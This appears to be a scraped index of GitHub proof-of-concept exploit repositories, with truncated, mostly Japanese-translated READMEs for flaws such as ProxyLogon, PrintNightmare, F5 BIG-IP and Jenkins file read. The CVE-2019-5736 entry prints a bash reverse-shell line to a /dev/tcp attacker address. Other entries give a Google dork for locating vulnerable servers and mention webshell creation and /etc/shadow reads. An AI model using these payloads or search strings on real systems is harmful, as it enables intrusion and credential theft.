Tentacle

Tentacle .. . . .. | || || \ | | | | / \ / || | | | 1.0.0stable ---| |----| | | | | ---| |---- / ^ \ | ,----'| | | | | | | | | . | | | / /\ \ | | | | | | | | | | | |\ | | | / \ | ----.| ----.| | || |||| | || // \ ||||| http://www.orleven.com Tentacle은 POC 취약점 검증 및 익스플로잇 프레임워크입니다. 익스플로잇의 자유로운...

CVE-2018-15912-PoC

このリポジトリには README がありません。...

CVE-2023-25157-checker

CVE-2023-25157-checker golangで書かれたスクリプトです。CVE-2023-25157のPoCです。 使い方 1. git clone https://github.com/7imbitz/CVE-2023-25157-checker.git 2. cd CVE-2023-25157-checker 3. go run CVE-2023-25157.go は対象サーバーのURLに置き換えてください。 Google Dork inurl:"/geoserver/ows?service=wfs" 研究について...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 用の Nuclei テンプレート。PoC には shadow ファイルを使用しましたが、passwd '/etc/passwd' ファイルも使用できます。お好みに応じて Extractor を変更してください。 POC 参考: https://support.f5.com/csp/article/K23605346...

ivanti-CVE-2024-21887

ivanti-CVE-2024-21887 ivanti CVE-2024-21887 コマンドインジェクション用 POC チェッカー...

ProxyLogon

ProxyLogon 원본 PoC: https://github.com/testanull 사용 방법: python proxylogon.py 예시: python proxylogon.py primary [email protected] 성공하면 웹쉘로 접속됩니다. exit 또는 quit를 입력하여 웹쉘에서 빠져나옵니다 또는 ctrl+c. 기본적으로 test.aspx 파일을 생성합니다. 변경 가능합니다. 지원: 이 프로젝트는 공식적으로 지원되지 않지만 PR은 환영합니다 : 특별 감사 및 참고 자료: @Flangvik...

poc-cve-collection

poc-cve-collection PoC CVE コレクション 🧪 CVE の PoC を収集し、GitHub 上で入手できない場合に Internet Archive へバックアップします。 寄付 PayPal での寄付、または下記の QR コードのスキャンで、このプロジェクトの維持をサポートしてください。 例 CVE-2026-31431 Title crypto: algifaead - Revert to operating out-of-place Description In the Linux kernel, the following vulnerability ha...

cve-2020-24616-poc

cve-2020-24616-poc cve-2020-24616 poc java菜鳥が書いた最初のpoc 多くのJNDIインジェクションのPocを参考にした...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Impacket実装のPrintNightmare PoC、元はZhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370によって作成されました 完全にパッチ適用された2019ドメインコントローラでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチアップデート Microsoftはこれらの攻撃を緩和するパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です REG QUERY...

CVE-2023-41993

CVE-2023-41993 エクスプロイト PoC このリポジトリは、CVE-2023-41993 脆弱性の Proof of Concept PoC エクスプロイトを含んでいます。 この PoC は、po6ix によって公開された PoC に基づく限定的な読み取り/書き込みプリミティブを示しています。 この PoC のデモは こちら で見ることができます。 質問、提案、懸念がある場合は、issue を作成してください。 : :8080 脆弱性の詳細 CVE-2023-41993 は、WebKit ブラウザエンジンに起因する重大な脆弱性であり、さまざまな Apple...

PoC-AutoSync

🧠 PoC-AutoSync-Github 自动从 poc-in-github.motikan2010.net 收集公开的 Proof-of-Concept PoC 漏洞利用代码，并通过自动更新保持数据库最新。请负责任地使用——仅用于研究和防御目的。 灵感来源于 nomi-sec/PoC-in-GitHub。 🔍 概述 该仓库通过 GitHub Actions 每小时自动更新。 每个 CVE PoC 以 Markdown 文件形式存储在 /pocs/ 目录中。 每个文件包含 CVE ID、仓库链接、星标数和描述等元数据。 ⚙️ 工作原理 1. 从...

CVE-2024-23897

Anantによる変更 /etc/os-release などのファイル読み取りで内容が欠落する問題がありましたが、現在は修正されています 認証セッションのサポートを追加: コマンドライン引数でユーザー名とパスワードを指定できます usage: jenkinsfileread.py -h -u URL -a USERAGENT -f FILE -t TIMEOUT -s -o -p PROXY -v --username USERNAME --password PASSWORD POC for CVE-2024-23897 Jenkins file read options: -h,...

CVE-2022-22947

コピー元 オリジナル: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2023-26256

CVE-2023-26255 CVE-2023-26256 POC Usage: python3 CVE-2023-26256.py -h...

cve-2022-1388-1veresk

CVE-2022-1388 作 1vere$k CVE-2022-1388 の概念実証（PoC）。 以下の2つの動作モードがあります： 単一ターゲットURL（ポートが指定されていない場合、デフォルトポートは80に設定されます）; ターゲットリストファイル（: 形式、改行区切り）; Usage echo "+-------------------For-The-Help-------------------------------------+"; echo "Example1: ./cve-2022-1388.sh -h...

CVE-2018-5767-AC9

研究および著者 David Baker 記事: エクスプロイトにもパッチが必要な時がある！アドレス変更を乗り越える 外部リンク CVE-2018-5767-AC9 CVE-2018-5767 https://vulners.com/cve/CVE-2018-5767 の概念実証実装 以下は CVE-2018-5767 の具現化であり、パスワードの 'Cookie' ヘッダーを解析する際に発生する、保護されていない sscanf 呼び出しを悪用する脆弱性です。この脆弱性は当初、AC15...

PoC-Metabase-CVE-2021-41277

このリポジトリには README がありません。...

CVE-2023-22524

Atlassian Companion RCE脆弱性の概念実証 CVE-2023-22524 概要 このリポジトリには、macOS向けAtlassian Companionで最近発見されたリモートコード実行脆弱性（CVE-2023-22524）の概念実証（PoC）が含まれています。この重大な問題により、攻撃者はアプリのブロックリストとmacOS Gatekeeperを迂回し、有害なコードを実行する可能性があります。 詳細...

CVE-2017-5638-POC

CVE-2017-5638-POC 脆弱なサーバーのセットアップと、CVE-2017-5638（Apache コンポーネントにおけるリモートコード実行の脆弱性）の概念実証（PoC） サーバー 脆弱なサーバーは Docker コンテナ内で実行されます。イメージは、Dockerfile を置いたフォルダ内で次のコマンドを実行して作成できます： docker build --tag 'vuln-server' . その後、コンテナは以下のコマンドで作成・実行できます： docker run -p 8080:8080 -it vuln-server...